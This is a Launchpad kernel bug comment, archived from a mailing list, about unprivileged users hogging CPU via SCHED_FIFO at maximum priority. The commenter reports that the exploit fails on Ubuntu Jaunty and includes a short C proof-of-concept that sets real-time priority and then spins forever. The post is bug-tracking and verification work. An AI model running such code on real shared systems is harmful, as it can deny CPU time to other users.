[Bug 52600] Re: Unprivileged users can monopolize CPU using SCHED_FIFO and max priority
Jakob Unterwurzacher
jakobunt at gmail.com
Tue Nov 10 00:35:32 UTC 2009
Exploit does not work here on Jaunty. sched_setscheduler returns -1
(failure) for a normal user (0 for root). Has this been fixed?
Updated code to print out the return value:
#include <sched.h>
#include <stdio.h>
int main() {
struct sched_param param;
param.sched_priority = sched_get_priority_max(SCHED_FIFO);
int r=sched_setscheduler(0,SCHED_FIFO,¶m);
printf("sched_setschedule return code (0 on success, -1 on error): %i\n",r);
while(1);
}
--
Unprivileged users can monopolize CPU using SCHED_FIFO and max priority
https://bugs.launchpad.net/bugs/52600
You received this bug notification because you are a member of Kernel
Bugs, which is subscribed to linux-source-2.6.15 in ubuntu.
More information about the kernel-bugs
mailing list